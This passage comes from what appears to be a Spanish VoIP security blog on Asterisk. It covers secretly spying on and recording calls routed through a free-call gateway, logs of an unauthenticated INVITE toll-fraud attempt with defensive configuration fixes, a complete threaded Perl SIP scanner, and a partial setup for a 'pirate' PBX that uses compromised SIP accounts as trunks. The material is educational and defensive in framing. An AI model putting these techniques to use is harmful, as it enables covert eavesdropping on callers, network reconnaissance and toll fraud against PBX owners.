- Sacamos las llamadas a través de un SIP trunk con un operador de salida.


Por un lado, pagaremos a nuestro operador de VoIP las llamadas realizadas y por otro lado, el operador del número retribuido nos pagará por el uso de ese número. Como he comentado, hay que permitir usar únicamente destinos cuyo coste sea inferior a lo que nos pagan por la retribución de llamadas, sino haremos un mal negocio.


Si lo único que quieres es sacarte un dinerillo, siempre puedes usar ese número retribuido como número móvil personal y, en lugar de montar una pasarela, desviarlo a una extensión SIP que tengas configurada en tu móvil. De esta manera, cada vez que te llame alguien, estarás ganando dinero y, como el desvío es a una extensión, no necesitarás un SIP trunk y por tanto no tendrás que gastar dinero en llamadas.


El caso es que si montamos una pasarela, creamos una web, la posicionamos y conseguimos que mucha gente use este servicio, cualquier llamada que realicen a través de la pasarela, va a pasar por nuestro Asterisk, por lo que tendremos el control total de esa llamada, pudiendo, por ejemplo, realizar escuchas o grabar conversaciones.


Para realizar una escucha en directo basta con usar el comando Chanspy:

- Creamos en el Dialplan la extensión 9999 (por ejemplo).

- 9999 => Extensión que marcamos para acceder.

- 1234 => Nuestra contraseña.


Realizamos una llamada interna, desde cualquier extensión, al 9999 y tras poner nuestra clave (en este caso: 1234), marcamos la extensión que queremos espiar, que será la de la pasarela.


Para grabar una conversación usaremos el comando Mixmonitor:

- Añadimos el comando en la extensión donde recibamos la llamada externa (por ejemplo la 100).

- 100 => Extensión que monitorizamos.

- h => Ejecutamos un script al finalizar la llamada.
Guardamos la llamada en /tmp.

Con un script podemos convertirla a MP3 y mandarla por mail.


La moraleja de todo esto es que muchas empresas ofrecen servicios de llamadas gratis pero, ¿qué sabemos de esas empresas? ¿estarán grabando nuestras conversaciones? ¿quién habrá detrás de todo esto?

 

Asterisk – INVITE attack

Miércoles, febrero 15th, 2012

Cuando hablamos de VoIP, la mayoría de los ataques con éxito están relacionados con malas configuraciones. A parte de posibles 0-days que puedan surgir y permitan a un atacante hacerse con el sistema, hay infinidad de scripts y programas que no sólo intentan buscar y crackear cuentas de usuario, como el famoso sipvicious sino que hay un tipo de ataque en concreto que se ha hecho bastante conocido y que ha dado muchos quebraderos de cabeza.


A pesar de que es algo antiguo, se sigue viendo este tipo de ataques, por ejemplo, en este proxy SIP de pruebas que ha montado el amigo @linuxmaniac:

Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:40879903080866@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:40879903080866@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJf94b43055bQNdlDwuK8IgNjjWNGgnp@184.106.171.219
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:0442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:0442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed94x2TTRksZHBKr@184.106.171.219
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:00442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:00442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed92FESbviHe6VIp@184.106.171.219
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:000442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:000442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed90LMpE7cf6xj0g@184.106.171.219
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:001442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:001442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8eTxhaDNCbgBoV@184.106.171.219
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9011442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9011442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8cEyW8PTMdM9xK@184.106.171.219
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:900442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:900442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8a8PtrObFtggpA@184.106.171.219
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:011442032988743@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:011442032988743@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed87e4w6VZm12C7X@184.106.171.219
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9011442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9011442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed851dWaeL3kSQTp@184.106.171.219
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+900442032988739@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+900442032988739@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed832nfhK1PnDBhq@184.106.171.219
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed815SQTGS3vOzNl@184.106.171.219
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbfyeVcmlm4Bi41@184.106.171.219
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+90442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+90442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbdQOj7GUW7ft7P@184.106.171.219
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:90442032988738@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:90442032988738@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbb5fzz8bUYCteH@184.106.171.219
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+00442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+00442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb9p3RCA6IavNWv@184.106.171.219
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+011442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+011442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb7SmzBrJIb3oOJ@184.106.171.219
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb5efuPiaVPGrEN@184.106.171.219
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+000442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+000442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb3gLzf7noBsq32@184.106.171.219
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:1442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:1442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb1wCL2P0rcTk2t@184.106.171.219
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edafyoQN4NAWd100@184.106.171.219

Llevamos 2 días sufriendo este ataque y la solución es fácil, bloquear la IP, pero como es un servidor de pruebas, estamos aprovechando para testearlo :)



Como podemos ver, hay alguien desde la IP 184.106.171.219 (de Texas – USA) que está enviando diferentes INVITEs, y tratando de hacer llamadas al Reino Unido. Además, está jugando con diferentes prefijos para ver si se salta las restricciones del Dialplan: con 00, 0044, +0044, etc.



Al contrario de lo que piensa mucha gente, NO es necesario estar registrado para realizar una llamada. El comando REGISTER únicamente sirve para que nuestro servidor de VoIP sepa que estamos ahí y si llega una llamada destinada a nosotros, nos la pase. Es decir, nosotros nos registramos y le indicamos nuestros datos al servidor para nos tenga localizados y sepa contactar con nosotros.

Por el contrario, a la hora de hacer una llamada, basta con enviar una petición (INVITE).



¿Qué ocurre cuando tratamos de realizar una llamada?
Da igual que marquemos 100 que marquemos 0044545454545, aunque nosotros visualmente pensemos que 100 es una extensión interna y lo otro un geográfico, para el sistema es sólo un número y lo que va a hacer es, tras recibir un INVITE, intentar conectar con el destinatario. Al ser una llamada externa, buscará en el contexto ‘default’.



Normalmente, tendremos algo así en nuestro extensions.conf (de forma muy resumida):

[internal]
exten => 100,1,Dial(SIP/100,30,t)
exten => 100,n,Hangup()
exten => 101,1,Dial(SIP/101,30,t)
exten => 101,n,Hangup()

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

[phones]
include => internal
include => external

[default]
include => internal


Y en nuestro sip.conf incluiremos las extensiones en el contexto ‘phones’, para que puedan realizar llamadas tanto internas como externas:

[100]
type=peer
secret=xxxxxxxxxx
context=phones
[101]
type=peer
secret=xxxxxxxxxx
context=phones

De esta forma, al recibir una llamada, se intentará localizar únicamente las extensiones internas, que son las permitidas en el contexto por defecto. Del mismo modo que permitimos realizar llamadas fuera, a través del trunk, únicamente a los teléfonos registrados.


¿Qué es lo que hace la configuración de arriba?
En ‘internal’ se permite sólo llamar a las extensiones 100 y 101, pero en ‘external’ le estamos permitiendo realizar cualquier llamada (X puede ser cualquier número y el . indica cualquier longitud).


Por tanto, si pusiéramos en ‘default’ algo así:

[default]
include => internal
include => external

En este caso, estaríamos permitiendo a cualquiera que mande un INVITE, realizar llamadas a cualquier destino (sin necesidad de tener una cuenta registrada). Esto, aunque parece una tontería, ocurre mucho. Es un fallo tonto de configuración que nos puede salir muy caro. Y una muestra de que sigue ocurriendo esto es el ataque que hemos recibido tratando de sacar llamadas.


Los ejemplos los he intentado poner lo más sencillos posibles para una mejor comprensión, pero en realidad podemos (y debemos) discriminar los posibles destinos a los que permitimos llamar, y no poner .X_


Otra buena opción es poner en sip.conf la variable allowguest=no (que por defecto viene a yes, no se porqué) y que impide realizar llamadas a usuarios que no están dados de alta en el sistema.


Para comprobar si tu Asterisk es seguro puedes acceder aquí.


Y como lectura obligada:

http://www.sinologic.net/2007-05/una-configuracion-incorrecta-puede-costarte-mucho-dinero/

http://www.sinologic.net/blog/2009-02/la-voip-mal-configurada-llama-a-cuba/

http://www.sinologic.net/blog/2010-04/test-sip-sinologic/



Si quieres ver las posibles consecuencias de este tipo de ataques mira esto:

Warning! : Un Asterisk nos ha costado 15.000 Euros en un día


Escaner de servicios SIP

Miércoles, septiembre 21st, 2011

Continuando con la VoIP, tengo otro script que he programado este verano y que se trata de un escaner de servicio SIP. ¿porqué? pues porque el más que conocido SIPvicious (http://code.google.com/p/sipvicious/) o se ha quedado viejo, o no está especialmente diseñado para Asterisk, y el svmap.py, muchas veces, no muestra los resultados esperados. En algunos escaneos hay que usar el parámetro -c y en otros no para obtener resultados válidos, dependiendo de la versión con la que te enfrentes. Con lo cual toca escanear los mismos rangos 2 veces para obtener todos los resultados.

Además, que el fingerprint no da muchas pistas. Es más útil la información que aparece en el user agent.

Bueno, y tras criticar a este fabuloso programa (el resto de herramientas de la suite SIPvicious funcionan bien xDD) pongo mi modesto script, que escanea, usando threads, (va un poco más rápido que SIPvicious) bien un host o bien un rango de IPs. Del mismo modo que puede escanear diferentes puertos a la vez.

También es posible indicarle el método de escaneo que deseamos, permitiendo mandar paquetes INVITE, OPTIONS o REGISTER.

Y sin enrollarme más, aquí va el script:

#!/usr/bin/perl
# -=-=-=-=-=-=
# Sipscan v1.0
# -=-=-=-=-=-=
#
# Pepelux <pepeluxx[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use threads;
use threads::shared;
use Getopt::Long;
use Digest::MD5;

my $maxthreads = 300;
my $time_ping = 2; # wait secs

my $threads : shared = 0;
my $found : shared = 0;
my $count : shared = 0;
my $percent : shared = 0;
my @range;
my @results;

my $host = '';	   # hosts to scan
my $port = '';	   # ports to scan
my $method = '';	# method to use (INVITE, REGISTER, OPTIONS)
my $v = 0;		   # verbose mode

my $user = "100";
my $pass = "aaaaaa";
my $lport = "5061";
my $myip = "anonymous";
my $tmpfile = "sipscan".time().".txt";

open(OUTPUT,">$tmpfile");

OUTPUT->autoflush(1);
STDOUT->autoflush(1);

sub init() {
	my $pini;
	my $pfin;

	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "m=s" => \$method,
	                         "p=s" => \$port,
	                         "v+" => \$v);

	help() if ($host eq "");

	$port = "5060" if ($port eq "");
	$method = uc($method);
	$method = "OPTIONS" if ($method eq "");

	if ($host =~ /\-/) {
		my $ip = $host;

		$ip =~ /([0-9|\.]*)-([0-9|\.]*)/;
		my $ipini = $1;
		my $ipfin = $2;

		my $ip2 = $ipini;
		$ip2 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
	  	my $ip2_1 = int($1);
	  	my $ip2_2 = int($2);
	  	my $ip2_3 = int($3);
	  	my $ip2_4 = int($4);

		my $ip3 = $ipfin;
		$ip3 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
	  	my $ip3_1 = int($1);
	  	my $ip3_2 = int($2);
	  	my $ip3_3 = int($3);
	  	my $ip3_4 = int($4);

	  	for (my $i1 = $ip2_1; $i1 <= $ip3_1; $i1++) {
		  	for (my $i2 = $ip2_2; $i2 <= $ip3_2; $i2++) {
			  	for (my $i3 = $ip2_3; $i3 <= $ip3_3; $i3++) {
				  	for (my $i4 = $ip2_4; $i4 <= $ip3_4; $i4++) {
					  	$ip = "$i1.$i2.$i3.$i4";
						push @range, $ip;
					}
				}
			}
		}

	}
	else {
		my $ip = new NetAddr::IP($host);

		if ($ip < $ip->broadcast) {
			$ip++;

			while ($ip < $ip->broadcast) {
				my $ip2 = $ip;
				$ip2 =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/;
			  	$ip2 = "$1.$2.$3.$4";
				push @range, $ip2;
				$ip++;
			}
		}
		else {
			push @range, $host;
		}
	}

	if ($port =~ /\-/) {
		$port =~ /([0-9]*)-([0-9]*)/;
		$pini = $1;
		$pfin = $2;
	}
	else {
		$pini = $port;
		$pfin = $port;
	}

	my $nhost = @range;

	for (my $i = 0; $i <= $nhost; $i++) {
		for (my $j = $pini; $j <= $pfin; $j++) {
			while (1) {
				if ($threads < $maxthreads) {
					last unless defined($range[$i]);
					my $thr = threads->new(\&scan, $range[$i], $j);
					$thr->detach();
					$percent = ($count/($nhost*($pfin-$pini+1)))*100;
					$percent = sprintf("%.1f", $percent);
					print "THREADS: $threads || STATUS: $percent% || FOUND: $found     \r";

					last;
				}
				else {
					sleep(1);
				}
			}
		}
	}

	sleep(1);

	close(OUTPUT);

	print "THREADS: 0 || STATUS: 100% || FOUND: $found     \r\n";

	open(OUTPUT, $tmpfile);

	print "\nIP:port\t\t\t  User-Agent\n";
	print "=======\t\t\t  ==========\n";

	my @results = <OUTPUT>;
	close (OUTPUT);

	unlink($tmpfile);

	@results = sort(@results);

	foreach(@results) {
		print $_;
	}

	print "\n";

	exit;
}

sub scan {
	my $ip = shift;
	my $nport = shift;

	if ($method eq "REGISTER") {
		register($ip, $nport);
	}
	if ($method eq "INVITE") {
		invite($ip, $nport);
	}
	if ($method eq "OPTIONS") {
		options($ip, $nport);
	}
}

sub options {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "OPTIONS sip:$ip SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$ip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 OPTIONS\n";
	$msg .= "From: $user <sip:".$user."@".$ip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: $user <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

	my $data = "";
	my $server = "";
	my $useragent = "";

	LOOP: {
		while (<$sc>) {
			my $line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne "") {
		if ($v eq 1) {
			print "\nReceiving:\n=========\n$data\n\n";
		}

		if ($server eq "") {
			$server = $useragent;
		}
		else {
			if ($useragent ne "") {
				$server .= " - $useragent";
			}
		}

		my $dhost = "$ip:$nport";
		$dhost .= "\t" if (length($dhost) < 10);
		$server = "Unknown" if ($server eq "");
		print OUTPUT "$dhost\t| $server\n";
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub invite {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:$ip SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: $user <sip:".$user."@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: $user <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne "") {
		if ($v eq 1) {
			print "\nReceiving:\n=========\n$data\n\n";
		}

		if ($server eq "") {
			$server = $useragent;
		}
		else {
			if ($useragent ne "") {
				$server .= " - $useragent";
			}
		}

		my $dhost = "$ip:$nport";
		$dhost .= "\t" if (length($dhost) < 10);
		$server = "Unknown" if ($server eq "");
		print OUTPUT "$dhost\t| $server\n";
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub register {
	{lock($count);$count++;}
	{lock($threads);$threads++;}

	my $ip = shift;
	my $nport = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "REGISTER sip:$ip SIP/2.0\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Cseq: 1 REGISTER\n";
	$msg .= "Expires: 900\n";
	$msg .= "From: $user <sip:".$user."@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: $user <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

	my $nonce = "";
	my $realm = "";
	my $data = "";

	LOOP: {
		while (<$sc>) {
			my $line = $_;

			if ($line =~ /nonce/ && $nonce eq "") {
	   		$line =~ /nonce\=\"(\w+)\"/i;

		   	if ($1) {
					$nonce = $1;
				}
			}

			if ($line =~ /realm/ && $realm eq "") {
	   		$line =~ /realm\=\"(\w+)\"/i;

		   	if ($1) {
					$realm = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	if ($data ne "") {
		print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

		$branch = &generate_random_string(71, 0);

		my $md5 = Digest::MD5->new;
		$md5->add($user, ':', $realm, ':', $pass);
		my $HXA = $md5->hexdigest;
		my $uri = "sip:$ip";

		$md5 = Digest::MD5->new;
		$md5->add('REGISTER', ':', $uri);
		my $HXB = $md5->hexdigest;

		$md5 = Digest::MD5->new;
		$md5->add($HXA, ':', $nonce, ':', $HXB);
		my $response = $md5->hexdigest;

		$msg = "REGISTER sip:$ip SIP/2.0\n";
		$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
		$msg .= "Call-id: $callerid\n";
		$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
		$msg .= "Expires: 900\n";
		$msg .= "From: $user <sip:".$user."@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
		$msg .= "Max-forwards: 70\n";
		$msg .= "To: $user <sip:".$user."@".$ip.">\n";
		$msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"sip:$ip\",response=\"$response\"\n";
		$msg .= "Cseq: 2 REGISTER\n";
		$msg .= "Content-length: 0\n\n";

		print $sc $msg;

		print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

		$data = "";
		my $server = "";

		LOOP: {
			while (<$sc>) {
				my $line = $_;

				if ($line =~ /[Ss]erver/ && $server eq "") {
		   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

			   	if ($1) {
						$server = $1;
					}
				}

				$data .= $line;

				if ($line =~ /^\r\n/) {
					last LOOP;
				}
			}
		}

		if ($v eq 1) {
			print "\nReceiving:\n=========\n$data\n\n";
		}

		my $dhost = "$ip:$nport";
		$dhost .= "\t" if (length($dhost) < 10);
		$server = "Unknown" if ($server eq "");
		print OUTPUT "$dhost\t| $server\n";
		{lock($found);$found++;}
	}

	{lock($threads);$threads--;}
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

    == Options ==
      -m <string>      = Method: REGISTER/INVITE/OPTIONS/ALL (default: REGISTER)
      -p <integer>     = Remote SIP port (default: 5060)
      -v               = Verbose mode

    == Examples ==
         \$$0 -h 192.168.0.1 -m invite
         \$$0 -h 192.168.0.0/24 -p 5060-5070
         \$$0 -h 192.168.0.1-192.168.0.100 -p 5060-5070 -v

};

	exit 1;
}

init();

Montando una centralita pirata con Asterisk

Jueves, septiembre 15th, 2011

Tras los robos de cuentas de VoIP hay verdaderas mafias. No sólo se trata de de alguien que hackea una cuenta y hace 4 llamadas gratis a los amigos, sino que hay, desde grupos organizados hasta locutorios que venden minutos y no pagan por ello.

Lo que voy a contar, evidentemente, no es para que hackees ninguna cuenta sino para que, en caso de ser administrador de Asterisk, comprendas que las consecuencias de tener una cuenta comprometida pueden ser muy graves.

Vamos a ver un sencillo ejemplo de cómo configurar un Asterisk al que podemos ir añadiendo cuentas de forma indefinida.

En primer lugar, nos encontramos con un servidor Asterisk montado con un número determinado de extensiones, y al que iremos añadiendo conexiones SIP-trunk con cuentas externas, y que nos permitirán realizar las llamadas al exterior.

Los servidores SIP a los que conectamos los SIP-trunk son máquinas comprometidas de las que se ha obtenido alguna cuenta.

La configuración básica para el servidor podría ser algo así (pongo sólo 2 extensiones para no alargar mucho el post):

Fichero sip.conf:

[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

Fichero extensions.conf:

[local]
exten => s,1,Hangup()

exten => 100,1,Answer()
exten => 100,n,Dial(SIP/100)
exten => 100,n,Hangup()

exten => 101,1,Answer()
exten => 101,n,Dial(SIP/101)
exten => 101,n,Hangup()

Con esto tendríamos montado un Asterisk básico con un par de extensiones que, de momento sólo podrían hablar entre ellos.

Ahora vamos a modificar la configuración y crear varios SIP-trunk con cuentas comprometidas:

Fichero sip.conf:

[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

localnet=192.168.1.0/255.255.255.0

register => uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1
register => uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2
register => uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3

[proveedor1]
type=peer
context=remoto
host=hostvulnerable1
fromdomain=hostvulnerable1
defaultuser=uservulnerable1
